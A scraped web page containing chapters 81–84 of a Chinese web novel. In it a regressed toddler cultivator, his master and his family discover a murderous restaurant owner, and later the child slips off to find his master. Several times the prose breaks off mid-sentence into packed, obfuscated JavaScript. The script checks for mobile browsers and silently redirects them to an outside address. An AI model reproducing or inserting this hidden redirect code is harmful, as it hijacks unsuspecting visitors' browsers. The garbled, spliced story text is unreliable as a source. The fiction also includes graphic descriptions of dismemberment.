l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118016|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉眼泪,丛明雪依旧把人抱到怀里探查一番。 三魂少了两丝。 争得林朝盈二人允许,丛明雪为他们粗略查探一番,果真在里面查到了三魂的气息,于是冷着脸,干脆利落地封住幼崽的灵力。 “斩病气”还算是个不出格的法术。若是姜洛玉依旧想到什么法术就用什么,恐怕一个不留神连命都要搭去半条。 幼崽瞬间蔫了下去,像一颗放了很久的土豆。拽着丛明雪顺滑的长发趴到他肩膀上生闷气,圆鼓鼓的脸看得姜林飞手痒,快速捏了一把。 幼崽揉了揉被捏得发烫的脸,满眼不可置信:“……二哥!” “诸位,请落座。”丛明雪挥手复原了会客厅的布置,补全了地面浊气侵蚀出来的大洞。 “有什么想问的,在下知无不言。” 一个小时后。 姜父姜母彻底了解了姜洛玉的真正身世,众人也知道了他现在到底是个什么情况。 三清之气里的一清混沌之气,其实与“浊气”类似。所以浊气对姜洛玉来说是无害的,甚至能为他所用。 但坏就坏在这次进去的浊气实在是太多了,丛明雪甚至怀疑此界三分之一的浊气都进了姜洛玉的身体。 三清之气这下构成失衡,导致姜洛玉不得不退化为幼年期慢慢消磨多余的混沌之气。 而且经过丛明雪询问观察,他发现姜洛玉现在差不多只有每一世十岁之前的记忆,有时候的记忆还会更少。 思维方式、行动能力以及外表都停留在三岁。 姜家、姜国、天正宗。三世的记忆混乱无序,让幼崽难以控制自己的言行。 他一会儿安静坐在沙发上,等着孤儿院的老师带他去吃饭,一会儿又抱着丛明雪说今天不想和大师兄一起练剑,也不想在冷宫里吃馊饭。 “妈妈,不要哭哦。”幼崽这下三世的记忆并排运转着,费力从沙发上站起,用手擦了擦林朝盈脸上的泪。 热乎乎的手碰在脸上,林朝盈拿起纸巾胡乱擦了擦,把幼崽抱在怀里,不让他看自己的脸。 她的崽崽怎么这么命苦,两辈子小时候都惨兮兮的。 姜景安见此抬手打了个电话过去,让秘书去订家饭店。 别墅的佣人都被姜林飞以“小少爷回来太开心,所以给你们包个红包放个假”为理由忽悠出去了,不方便再叫回来。 姜洛玉被林朝盈勒得有些呼吸不畅,朝着丛明雪伸了伸手:“师、师尊。” 林朝盈如梦初醒,松开幼崽一个劲儿道歉:“抱歉是妈妈太激动了,妈妈……” 她突然有一种不详的预感。 丛明雪镇定地从林朝盈手里接过幼崽,无视背后姜家三子女蠢蠢欲动的目光。 林朝盈走到姜景安身边晃了晃他的肩膀,语气迷茫:“我把这件事告诉给苏琪了,还说过几天要举办宴会庆祝玉玉回来……” “按照阿琪的性子,现在整个圈子估计都知道了。” 姜洛玉听见自己的名字,探出脑袋看了看。 众人的目光汇聚在幼崽身上。 丛明雪说姜洛玉这么一副幼崽状态,起码得持续一个月。 他们上哪儿找出来第二个“姜洛玉”举办宴会?就算不举办宴会,他们也得带幼崽出去活动啊! 81.穿越第八十一天 丛明雪看出众人的顾虑,当即掐了几个诀,一张和姜洛玉别无二致的脸出现在众人面前。 就连说话的声线都与姜洛玉一模一样:“我可代为露面,至于阿玉的身份……” 姜林飞灵机一动,看向姜景安:“可以说是爸你的孙子!” 姜景安:“……” 林朝盈:“可以诶。” 幼崽跟着“哇”了一声,满眼崇拜:“师尊!你变得……和我好像啊。” 脑子里划过几瞬破碎记忆又飞速消失,姜洛玉新奇地戳了戳丛明雪易容后的脸。 “师尊,这就是你说的易容术吗?”他扯了扯自己脸,“我也想学!” 丛明雪摇头拒绝道:“不可。” 幼崽瞬间露出难过的表情,就连眼睛里都泛起了泪花。 “怎么这么小气……”姜林飞忍不住嘀咕,然后就被自家大姐捶了一下后背。 姜林琬皮笑肉不笑:“放尊重点,这是玉玉的师尊,做什么都是有道理的。” 姜林廷不置可否,不过幼崽哭得太惨,只好问道:“小弟现在没了灵力,也不能学吗?” 丛明雪摇头:“不能,诸位最好也不要过多提及十岁之后的记忆。阿玉的记忆会自己逐步恢复,干涉过多,恐再生事端。” 众人点头表示牢记。 姜洛玉把玩着姜林琬递过来的水晶摆件,连生气都忘了,戳了戳小天使翅膀,一口咬了上去! “咔嚓——” 翅膀应声而落。 姜林琬:“不能吃!” 她立马熟练地掐着幼崽的下巴让他被迫张嘴,看了两眼,什么也没有。 晚了。 丛明雪淡淡的表情有些绷不住,只得用法术逼出已经下肚的水晶翅膀。 他仿佛回到了当初在落雪峰养孩子的岁月,那时的姜洛玉比现在更难带。 隔三差五就要把峰头的草木祸害一遍。 “丛先生,车已经到了,该动身了。”姜景安实在是叫不出“神君”两个字,折中且获得丛明雪同意后便取了这个称呼。 虽然不知道这位异世来客为什么执着于叫他“伯父”,不过这些都是小事。 丛明雪视线划过室外齐刷刷的别墅,对为他打开车门的姜林飞颔首,坐上“汽车”后,用神识过了一遍车身结构。 密密麻麻的金属镶嵌在漆黑的表皮下,精妙程度和修真界一些精巧的傀儡没什么区别,就是催动不靠灵气或是天材地宝,而是一种粘稠的黑色液体。 由于一个车坐不下,又是家庭聚餐,于是姜景安给老刘放了假,自己开车载着姜林琬向订好的臻味阁驶去。 另一辆姜林廷担任了司机的角色,副驾驶坐着姜林飞。 林朝盈坐在后座,控制了一下坐在儿童安全座椅上乱动的幼崽。 余光瞥见左侧看着窗外景色出神的银发男人,她犹豫了一下,问道:“丛先生,您有什么忌口的吗?” 丛明雪收回视线,葱绿色的眸子颤了颤:“不吃葱。” 林朝盈:“……?” 她本来以为丛明雪会说什么五荤之类的,在她眼里异世的修仙和这个世界的修道差不多。 不过……怎么就偏偏挑出来“葱”这一种? 姜洛玉扯了一下林朝盈的袖子,双手放在嘴边呈现出喇叭状,自以为小声地说:“妈妈,其实师尊的本体是野葱!所以他才不吃葱的。” “噗咳咳咳——” 姜林飞坐在副驾驶差点没被口水呛死,好奇得要命,又还不好真回头问丛明雪“你是葱妖”这种不太礼貌的问题。 姜林廷咳了咳,压下喉咙里的笑。 丛明雪揉了把幼崽头顶的软毛,对着林朝盈点头:“确是如此。” 林朝盈干笑了两声:“那……玉玉还挺适合拜你为师的。” 一个葱一个姜。 接下来的路程很安静,只有昏昏欲睡的幼崽时不时的鼻音。 北市秋日的暖阳透过车窗照进来,丛明雪看着窗外的车水马龙,还有鳞次栉比的高楼大厦,心底浮现出一丝微妙的情绪。 这就是姜洛玉遇到他之前生长的地方。 两人神魂交融互换记忆时,受天道限制,他看不见多少这个世界的记忆,看见的都是些风景。 那些风景对于六界里的风光来说自然是不够看的,可姜洛玉在观赏那些风景时的愉悦心情,让他不禁对另一个世界产生了极大的兴趣。 绿灯亮起,后方急躁的车主开始不住地鸣笛。 喇叭绵长的“叭叭”声落进耳朵,幼崽一个激灵清醒过来。 姜洛玉注意到走神的丛明雪,轻轻拉了一把飘到自己面前的发丝:“师尊抱抱,要抱抱。” 幼崽的声音又轻又软,像含着一块化了一半的糖。 比起在孤儿院的冷漠,姜国的胆怯,以及落雪峰的莽撞,如今记忆融合版的幼崽几乎可以称之为“完美”。 就是爱哭鼻子。 眼见着幼崽因为他的犹豫又开始挤眼泪,丛明雪连忙把幼崽抱在怀里轻拍着。 林朝盈垂下眼睛。虽然她知道丛明雪在异世当了姜洛玉两辈子的老师,有一世还是亲手抚养他长大的,可一看在这么多人里面姜洛玉最黏丛明雪,还是忍不住心中泛酸。 臻味阁很快就到了,清幽雅致的装修主打一个复古格调,前台和迎宾都是穿着典雅旗袍的女人。 姜洛玉自打下了车,脑袋就没停下过,趴在丛明雪肩上一直在东张西望。 他眼里的世界充斥着各种颜色的气体。 路上的人身上的气是白色,像雾一样。 爸爸妈妈还有大哥大姐身上的气体是淡淡的金色,二哥身上的气体是红得发紫的颜色,师尊身上……是很浓郁的金色。 金色数量之大,甚至能把丛明雪裹成一个茧。 姜洛玉觉得丛明雪身上的气让他很舒服,所以比起其他人,更加喜欢黏在丛明雪身边。 等到包厢里的菜品上齐,众人还未动筷,林朝盈先拿了小碗,为幼崽挑出印象里他爱吃的菜放进去。 姜洛玉盯着每一道菜上面飘着的血红色气体,又闻了闻碗里的东西,果断转过头拒绝食用。 “崽崽怎么不吃啊?”姜林飞一脸痴笑,开发出了新称呼。 姜洛玉来之前他作为家里的老幺,一直羡慕同学家里多了什么弟弟妹妹。 后来得知那些弟弟妹妹有不少私生子女的事实先不提,他是很乐意家里再多出一个比自己小的孩子的。 越小越好,他对那种刚出生的人类幼崽没有抵抗力。 不过姜洛玉到姜家的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这家店的老板是外地过来的,身后有北市的老牌餐饮王撑腰,二者正在进行长线合作。”姜景安表情凝重,“而且,臻味阁的老板也是厨师出身,号称经常在后厨把控菜品口味。” 也就是说,老板也有可能是凶手之一。 姜林飞:“我靠——” 姜林琬砸了一拳手舞足蹈的姜林飞,斜睨了他一眼。 姜林飞冷静下来,靠在背椅远离圆桌:“就这么报警,不会被警察当成神经病吗?” “还有沾了人命……不会是刚死吧?死的到底是员工还是家属啊?不会是食客吧?” 姜林廷打断姜林飞的喋喋不休:“既然我们发现了菜里面的端倪,就只剩下两个选择。” 姜林琬敲了敲实木桌面,竖起手指:“第一,我们假装不知道,装作有急事的样子直接离开。” 众人点头,这确实是一个省了麻烦又保证安全的方法。 “第二,就是替天行道。我们可以直接报警,说怀疑臻味阁里有杀人犯。” 姜林飞:“怀疑总得有个理由吧?” “咚咚——” 包间的门被人敲响。 可是……他们的菜已经上齐了。 82.穿越第八十二天 “我刚才在桌子下发现了这个,不小心将其损毁,外面的人可能是为此前来。” 丛明雪打破了包间的沉默,翻手拿出个小指大小的黑色方块,外表看着完好无损。 窃听器。 众人瞬间更加紧张起来。 姜景安:“这东西是窃听器。您是什么时候把它捏碎的?还有类似的东西存在吗?” 丛明雪:“落座后。” “头顶四角也有类似的东西,我也一并毁去了。” 那些东西给他一种很不妙的窥视感。 头顶的自然就是监控了。 听丛明雪将其全部毁去,众人松了一口气,那就说明对面没有听到他们关于杀人犯的言论。 幼崽摸摸脑袋上的小啾啾不明所以,十分怀念自己出门前的满头长发。 姜林飞深吸一口气:“我去开……” “我去。” 丛明雪起身拦下姜林飞,把幼崽交到林朝盈怀里,走过去开了门。 门外站着一个穿着得体藏蓝色长衫的中年男人,面白眼细,身材微微发福,脸上带着恰到好处的笑。 男人身后跟着几个端着菜的服务员。 周忆柳被来人长相惊了一瞬,很快就压下那股震惊,笑道:“先生您好,我是臻味阁的经理。最近恰逢臻味阁周年庆,这几道菜是我们老板赠的。” 丛明雪侧过身,顶着姜洛玉的壳子冷冷道:“端进来吧。” “啊——!” 尖叫声过后又是杯盘碎裂的声音。 丛明雪暗道不好,回头只见林朝盈的怀里空荡荡的。 幼崽不见了。 —— “咚、咚。” 整齐且富有韵律的剁肉声从不见天光的地下室传出。 只有一盏白炽灯尽职尽责地工作着,照亮了坑洼的水泥地面,还有坑里的……血。 粘稠、猩红。 血液从地下室入口一直蔓延到了正中央的工作台上,最后隐没在上面的残肢碎块里。 工作台前的寸头男人放下菜刀,隆起的肌肉堆在衬衫里,扯出紧绷的线条。 他摸出口袋里的火,点着了嘴里细长的香烟,猛吸一口气后烟雾缓缓升起,模糊了沾了血的左眼。 “您、您好。” 幼崽的声音在角落突兀出现。 杨武活了几十年没怕过什么东西,扔掉打火机,拎起菜刀转身向角落走去。 可惜那里面的东西先一步走了出来——是一个两岁左右的男孩儿,穿着一身…… 杨武有些诧异,这个牌子的衣服可没有童装。 姜洛玉扯着衣角,被铺天盖地的煞气迷了眼,走了几步一抬头,对上杨武尚未被煞气包裹的、带着的戾气脸。 幼崽眼睛亮了亮,然后疑惑道:“叔叔,您怎么只有一个脑袋啊?” “你是从哪儿冒出来的?是人还是迷路的小鬼?”杨武抓着幼崽的衣领将他拎起,像甩面条一样晃了晃。 无意间触碰到幼崽脖颈温热的皮肤,确认是活人之后,杨武还是心存怀疑。 地下室的门虽然开着,但仓库的门是反锁的。就算他刚才处理“羔羊”过于沉浸了些,也不至于看不见一个崽子跑进来。 姜洛玉蹬了几下腿,如实道:“我拍了两下手就过来了。” 好像……还念了几句话,但他记不清了。 反正眼前一黑就到了这里。 “叔叔,你是谁,这是哪儿啊?”姜洛玉闻到了腥臭的味道。 “我是这儿的老板。”杨武用干净的刀背拍了拍幼崽的脸。 这小子似乎看不见工作台上的惨状。 姜洛玉盯着杨武疲倦的脸,认真问道:“叔叔,你累吗?” 累? 杨武不累,他只是不知道自己在做什么。 工作台和冷库里的尸块还没处理完,他不能累。 他们曾经都是臻味阁里的服务生。 杨武有时候觉得自己真不是个东西。他用高薪诱骗那些孤苦无依的年轻人过来当服务生,再对他们展开猛烈追求。 追到手之后,他隐瞒下两人的关系,再说几句“甜言蜜语”忽悠他们辞职。 辞职那天,就是他们人间蒸发的日子。 那些年轻的男女没见过什么世面,也没有什么阅历。 于是他们的血肉在谎言里变成了案板上的花,骨头变成了装花的容器。 全都是为了满足他变态的欲望,顺便还能赚一笔外快。 那白胡子老道要他杀人后的刀尖血,他也乐得卖给他,管他要拿那血做什么阴损事儿。 可杨武……从来没杀过小孩子。 小孩子的眼睛是最清澈明亮的。当年他在老家杀过一只通人性的母羊,杀它前,母羊跪在地面流着泪。 只可惜那年家里急需用钱,杨武毫不犹豫的杀了母羊,最后从它肚子里刨出个已经成型的羊胎。 母羊死不瞑目的眼睛和手里幼崽的眼睛重叠。 甚至……脸也逐渐拉长,变成了母羊的模样。 “叔叔,您看起来好累啊。” 母羊的嘴筒一张一合,露出里面光秃秃的齿垫,长长的舌头卷曲再伸展,像是从土里爬出的蚯蚓。 羊说话了。 杨武头痛欲裂,拎着菜刀的手猛地抬起,朝右手的“母羊”狠狠劈下! “铿——” 菜刀砍在了雪色长剑上。 丛明雪定住杨武的身体,从他手里抢过眼神迷茫的姜洛玉,把幼崽护在怀里遮住视线。 杨武一动也不能动,心跳到了嗓子眼,冷汗止不住的顺着后背流了下去。 见鬼了。 没有别的原因能解释了。 突然出现的孩子,还有银发男人。 他终于要下地狱了吗? “别进来!” 姜林飞看清地下室里的东西后脸色煞白,手忙脚乱地拦住身后众人。 林朝盈心急如焚:“里面怎么了?玉玉没事吧?” “哕——我呕——”姜林飞恶心地涕泪四溅,但刚才一刹那,还是凭借惊人的眼力看清了丛明雪怀里抱着的幼崽。 “小弟没事。”他说,“里面……有人在分尸。” 家庭聚餐到此彻底粉碎,警察到场后,众人被带回公安局做笔录了解情况。 靠着灵力作弊,几人串好口供,决口不提什么“突然消失”,而是说带着姜洛玉去厕所的过程中小孩子自己走丢的。 而臻味阁外部的监控最近几天恰好在检修翻新,无法取证,这种说法警方只能持怀疑态度。 好在杨武面对冷库的十几袋尸块供认不讳,就是一直疯疯癫癫的在喊有鬼。 鬼什么的警方自然不信。在确认姜家众人只是被无辜牵连的受害者之后,就把他们放了回去。 杨武会为他的所作所为付出代价。 姜家别墅,灯火通明。 虽然今天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126675|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历十分惊险,但众人心理素质强大。 林朝盈和姜林廷回来后在厨房忙活半天,做出来几个家常菜端上桌子。 幼崽早就坐到餐桌前蓄势待发,头顶的小啾啾被林朝盈新买来的可爱发卡固定在头皮处。 酒足饭饱,众人这才意识到一个严肃的问题。 姜洛玉正蹲在地面和钢炮玩得有来有回,突然察觉到几道火热的视线,手僵在狗脖子上,扭头对上众人的目光,不解开口:“你们为什么……都在看我啊?” 没看见地下室惨状的幼崽眼睛依旧亮晶晶的。 姜林飞关于地下室的记忆早就请丛明雪帮他删除得一干二净,完全没影响到心情。 他咳了咳,蹲到幼崽身边哄骗道:“玉玉,晚上要不要和二哥一起住啊?二哥房间里有变形机甲,还有钢炮!除了狗还有……” 钢炮:“嗷呜?” 姜林廷皮笑肉不笑:“钢炮今天必须去住犬舍,再有异议,你也跟着滚出去。” 姜林琬趁着兄弟两人对峙,揉了揉幼崽的脑袋,又掐了掐脸:“和大姐还有妈妈一起睡好不好啊?” 林朝盈坐在沙发上满意点头。 姜景安:“……那我呢?” 姜林廷:“……” 晚上和谁一起住? 幼崽小小的脑袋转了半天,在五个人期待的目光里成功死机。最后天正宗的记忆占据上风,整个崽直接跑过去抱住丛明雪的大腿。 众人:“……” 最后,幼崽谁在了自己的房间,由几个年轻人轮换着照看。 姜家小儿子的回归宴定在了半个月后。 在此期间,姜家人把能推掉的应酬和工作全都推了,一门心思地扑在……小儿子捡回来的“孙子”身上。 王妈每次看见“姜烛山”和一家人玩闹的场景都忍不住热泪盈眶。 李管家也甚是欣慰,指挥着施工队把别墅的边角上包得严严实实防止孙少爷意外受伤,又在姜景安的吩咐下采购了好几批幼崽用的东西回来。 此时此刻,距离宴会开启还有三天。 幼崽坐在这几天越长越大的钢炮身上,摸了摸狗毛,趁着周围没人,悄悄给大狗喂了一缕灵气。 钢炮吞了灵气之后异常兴奋:“嗷呜嗷呜……” “不要乱叫!”姜洛玉吓了一跳,两只手捂住钢炮的嘴筒,“师尊不让我给你喂灵力。” 钢炮十分人性化地点头,摇着尾巴带着幼崽继续巡视领地。 自从丛明雪发现就算封了姜洛玉的灵力也不管用之后,严肃叮嘱他绝对不许像在包间那天一样乱用法术,也就随他去了。 幼崽这些日子牢牢记着师尊的话,不乱用法术,就是忍不住给家里的大狗喂灵力,以至于钢炮马上就能“口吐人言”了。 姜林飞拿水果回来,看见的就是这么一副“钢炮带娃”的和谐场面。 今天姜景安和林朝盈都出门应酬,姜林廷和姜林琬要在公司加班,丛明雪又去了市图书馆还没回来,于是看孩子的重担落在了他和钢炮身上。 他撸了把狗头,拿着叉子叉了块水果,递到幼崽嘴边。 姜洛玉乖乖吃掉水果,歪了歪脑袋:“二哥,师尊怎么还没回来?” 姜林飞:“一会儿就回——” “叮铃铃……” 姜林飞摸出手机,看见来电显示上的“野葱神君”的备注。 “喂?” “林飞,厉凌尘是谁?” 83.穿越第八十三天 “这个……没什么不好说的。” 姜林飞挠了挠头,示意今非昔比的钢炮看住幼崽,离开会客厅小声说:“那人是小弟的追求者,小弟明确拒绝他之后,这人不屈不挠追了五年,算上小弟失踪的两年,今年已经是第七年了。” “还有呢?” 姜林飞:“没了啊,有一次这人太过分追到小弟的住处,我看见直接把他打回去了。” “不过……” “嘟嘟嘟——” 姜林飞拿下手机:“那小子还敢来?看来病得不轻……” 在给姜林廷打电话汇报和继续哄孩子里,姜林飞毫不犹豫选择后者。 他相信据说活了几十万年的“神君”能解决厉家那个神经病。 “玉玉,快来吃水果。” 人高马大的男人傻乐着推开会客厅的门,里面空荡荡的,连狗都没有。 “啊啊啊——!” 孩子呢?他那么大一个弟弟呢! 云邸别墅区大门。 秋热散去,保安边在门口巡边吹着冰凉的晚风。 别墅区进出需要门卡,但姜洛玉没有。 他只好趴在钢炮身上,搂着它的脖子,用灵气释放结界附着在自己和大狗的身体外侧。 一人一狗顺利潜伏到搭门边,趁着车辆进出的间隙,快狠准地冲了出去! “钢炮你好棒!”幼崽兴奋地拍了怕大狗的脊背,又塞给它一缕灵气。 钢炮看着充裕地灵气口水直流,刚要一口吞下,结果幼崽又把它拿远了。 姜洛玉把偷藏的一根银发放到狗鼻子前:“我们去找师尊,找到了再给你。” 钢炮嗅了嗅头发,耸动着鼻子“嗷呜”一声,甩着舌头朝着市中心出发。 随着大狗不断前进,幼崽浩瀚的神识一瞬间扩散百里,又因为不熟练,接收的信息太过庞杂,不得不缩小些许。 姜洛玉捂着脑袋,计算出了按照这个速度到达市中心的时间——五分钟。 他不知道自己为什么这么想见丛明雪,可能是因为……今天丛明雪第一次离开姜家将近一天的时间。 于是他想见就做出了行动,隐去气息带着钢炮,像一位骑着战马征战沙场的将军。 如今钢炮经过姜洛玉的灵气改造计划,智商堪比十几岁的少年人,就是不会说话。 五分钟后,钢炮在市图书馆附近的一家咖啡厅嗅到了丛明雪气息的源头。 “香树咖啡厅”的牌匾下,七彩灯泡闪烁不停。 幼崽透过玻璃看见咖啡厅角落黑头发的丛明雪,还有他对面的男人。 男人长相俊美,眼角微微下垂,身上的气泛着淡淡的灰。 经过自家师尊的科普,幼崽已经了解到自己看见的那些“气”都代表着什么。 白气是普通人,紫气是为国家工作的人,金气代表着功德加身,红气代表着煞气,灰色则代表着……这人是个倒霉蛋。 眼看着那些不详的灰光朝着丛明雪蔓延过去,姜洛玉拍了拍大腿:“钢炮,咱们快去找个没有监控的地方!” 钢炮在结界里“嗷呜”一声,载着幼崽飞速寻找到一条人迹罕至又没有监控的小巷子。 一人一狗现出身形,姜洛玉指使着缩小了一些的大狗飞速向咖啡厅冲去! 狗绳被幼崽牢牢牵在手里,路人看见了全都瞠目结舌。 这么小的孩子遛这么大的狗……他家大人呢! 幼崽注意到行人的目光,突然意识到自己这么做可能不太对。 但是想见丛明雪的欲望太过强烈,到了门口,跳下狗背推开咖啡厅的门。 吧台坐着穿着员工服的年轻女人,幼崽小心翼翼开口:“姐姐,我能带着狗狗进来吗?” 田月昏沉的大脑清醒一瞬。今天咖啡厅的生意不是很好,所以难得清闲。 刚才进来的两个帅哥倒是吸引了她的视线。 不过帅哥虽好,点了两杯多加了糖浆的榛果拿铁就开始相顾无言,搞得她还特意确认了一下进来的是不是人。 哦,个子比较高的那个还加了一份小蛋糕,后厨正在制作。 这下听见幼崽宛如天籁的稚嫩嗓音,田月强打着精神看过去,被那只明显比一般哈士奇大上一圈的狗吓了一跳。 这狗吃什么长大的? “小朋友,你、你是自己来的吗?”田月有些发怵,她从小就怕狗,长大了依旧没改掉这个毛病。 姜洛玉摇摇头:“不是哦,我和钢炮一起来的。” 说完拍了拍大狗的后背。 钢炮:“汪汪!” 察觉到对面人类散发的惧意,钢炮直接趴在地面捂住了自己的嘴筒。 幼崽把头往咖啡厅里探了探,思考后说:“我来找我……爸爸!” 虽然不理解为什么师尊说当他是黑头发的时候要叫他“爸爸”,但幼崽依旧十分听话。 起身的丛明雪:“……” 厉凌尘拦着“姜洛玉”的手石化在半空,难以接受:“你真生了个儿子?!” 该死,他还以为这几天听见的都是传言。 丛明雪忍着将人打飞的欲望,冷声道:“你我无冤无仇,我骗你做什么?” “可明明是我先来的!”厉凌尘指着门口的幼崽,“这孩子看着最多也就两岁,你消失这两年……” “和你无关。”丛明雪使了巧劲儿推开厉凌尘,又不至于失手将其重伤。 他顶着姜洛玉的模样冷脸向门口走去,抱起幼崽牵起狗,对着吧台的田月点头示意。 田月就这么愣愣地注视着两人一狗出了店内。 眼看着连厉凌尘也要追出去,她立马喊道:“先生,你的蛋糕还没结账!” 厉凌尘:“……” 咖啡厅外,两人一狗温馨异常。 今天的幼崽穿着小黄鸡背带裤,头顶还戴着同款遮阳帽,肉乎乎的脸蛋泛着健康的粉色。 虽然幼崽的肉身强度实际上是渡劫修士的水准,移山倒海不在话下。但因为要消磨浊气,自动模拟出了正常人类幼崽该有的生理反应。 丛明雪猜出来姜洛玉是怎么找过来的,无奈道:“来的时候告诉林飞了吗?” 幼崽认真点头:“告诉了,我给二哥用法术留了言。” 丛明雪:“……” 罢了,孩子太小,能知会一声就不错了。 他抱着幼崽,边走边掏出屏幕出现裂痕的手机,艰难开机,给姜林飞打去电话:“阿玉已经到我这里了。” 姜林飞对着天花板上的‘我去找师尊’,擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132514|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了擦额头的冷汗:“那就好,我还担心小弟跑丢了怎么办。” 丛明雪:“此界按理来说无人能伤他。我带阿玉在外游玩一会儿,不必等我们。” 姜林飞:“好的丛先生。” 挂掉电话,丛明雪把选择权交给了姜洛玉,问:“想去哪玩?” 幼崽摸了摸脑袋,关于这个世界的记忆不断涌现,半天才郑重其事地说:“我想去游乐园。” 游乐园? 丛明雪这些天不是待在姜家学习基本常识,就是泡在图书馆汲取各类知识,抽出空还要和幼崽玩耍。 对于这些娱乐场所……还真不太了解,于是坐到公交站台的长椅上开始翻看附近的游乐园。 街对面,厉凌尘终于找到了一大一小的身影,想趁着绿灯的时候穿过斑马线—— “唰——” 一辆闯红灯的摩托车擦着他的发丝过去。 “艹!”厉凌尘骂了一声,攥着脖子上的玉佩快步过道。 结果刚站稳,就被下班的社畜撞了肩膀,对方犹豫好久才买下的顶配奶茶全数洒在了厉凌尘的外套上。 社畜震惊,一个劲儿点头哈腰:“先生对不起,衣服我可以赔给你的!” 他刚才怎么没注意旁边有个人!而且这人的衣服看起来好贵啊,他根本赔不起…… 厉凌尘深吸几口气,凌厉的眉眼盖不住眼下的青,拍了一叠钱在社畜身上:“滚开!” 对面颓丧的男人惊恐地拿钱离开,只留下他身上黏在一起的奶茶小料。 珍珠、红豆、麻薯滑稽可笑地顺着外套滑落,让厉凌尘愈发觉得自己像个供人取乐的小丑。 “我要去繁星乐园!” 幼崽的声音隔了好几米,也能清晰地飘进耳朵,同样唤回了厉凌尘的思绪。 他快走几步,眼睁睁看着深灰色劳斯莱斯停在了站台旁,两人一狗头也不回地上了车。 上车瞬间,空中开始下起淅淅沥沥的小雨。 厉凌尘抹了把脸上的雨,水流进领口又冷又潮湿。他看着远去的车影,攥紧了拳头。 不能再等了,再等下去……他迟早得被自己这个破命格玩儿死。 车内,老刘透过后视镜看了两眼,越看越觉得孙少爷可爱。 不过看见外面下起了小雨,老刘忍不住说道:“小少爷,您还要带孙少爷去游乐园吗?外面这雨……” 丛明雪:“继续开,雨很快就会停。” 幼崽坐在安全座椅上不是很舒服,悄悄解开了固定的背带。 “嗷呜?”钢炮拱了拱幼崽的肚子。 姜洛玉又悄悄绑上背带,打开结界,扯了扯丛明雪的衣角:“师尊,那个倒霉蛋是谁啊?” “不重要。”丛明雪揉了揉幼崽的头,“一会儿想吃什么?” 幼崽有样学样摸了把大狗的头:“我想带狗狗一起去。” “不可以,今天不是繁星乐园的宠物友好日。”丛明雪拒绝道。 幼崽可惜地叹了一声气,摸摸狗头:“别担心,过几天你就可以去啦!” 钢炮感动地又拱了拱幼崽:“嗷嗷嗷……” 丛明雪眉心直跳:“你又给它喂灵气?” 姜洛玉:“……!” 糟糕,说漏嘴了! 84.穿越第八十四天 没有灵根的动物,如果因为外力导致灵气过分堆积,化形只能变成没有神志的行尸走肉。 丛明雪记得自己和姜洛玉说过不能喂灵气的缘由,幼崽答应得很认真。 果不其然,等他放出灵力在钢炮体内游走一番后,才发现大狗体内多了一条木灵根。 丛明雪:“……” 幼崽一头扎进丛明雪怀里:“我给狗狗安灵根了,可以喂灵气的!” “你从哪儿找出来的灵根?”丛明雪掐了一把幼崽的脸,捏出了金鱼嘴。 “是唔……是我的生姜苗。”幼崽老实回答,“狗狗想吃,吃完就多了条灵根!” 钢炮:“汪汪!” 丛明雪:“……” 半小时后,雨过天晴,老刘拉着钢炮回了姜家。 一大一小则站在了繁星乐园大门口。 作为北市唯一一座全天开放不闭园、游乐项目又丰富多彩的游乐园,即使现在是开学季,人流量也达到了一个惊人的地步。 五颜六色的星星装饰在大门和售票亭,就连里面的路灯也都是暖黄色的五角星,小孩子还能获得工作人员发下来的星星灯棒。 姜洛玉慢腾腾地走向工作人员,指了指一堆蓝绿色星星灯里格外显眼的黄色灯泡:“哥哥,我想要这个。” 幼崽软乎乎的声音落在耳朵里,周滔差点没被萌出一脸血,二话不说弯腰就把星星灯递到幼崽手心里:“哥哥还有星星公仔!” 说完从身上一堆巴掌大的毛绒公仔里卸下一个,也递给了幼崽。 姜洛玉接过公仔:“谢谢哥哥!” 周滔捂着心口直呼“好萌”,在游乐园兼职这么久,还是第一次看见这么可爱的小孩子! 不仅长得漂亮精致还懂礼貌,简直是小天使! 姜洛玉接过公仔,黑溜溜的眼睛扫过带着星星帽子的青年脸上的汗水,拍了拍他的手背。 一缕微不可察的功德金光飘了过去。 丛明雪牵起幼崽的手,领着他走进乐园,若有所思:“新得的?” 幼崽:“师尊你怎么知道?好厉害!” 虽然他也不知道自己为什么有这么多功德金光。 “因为你在妖界把功德用光了。”丛明雪回答后立即转移话题,“想先玩什么?” 姜洛玉摇摇头:“我不知道……” 两人沿着亮起的路灯走了大概几分钟,幼崽脸上的笑容逐渐减淡,黑亮的眸子变得空洞,就连神情也瑟缩起来。 记忆切换了。 “你是谁?” 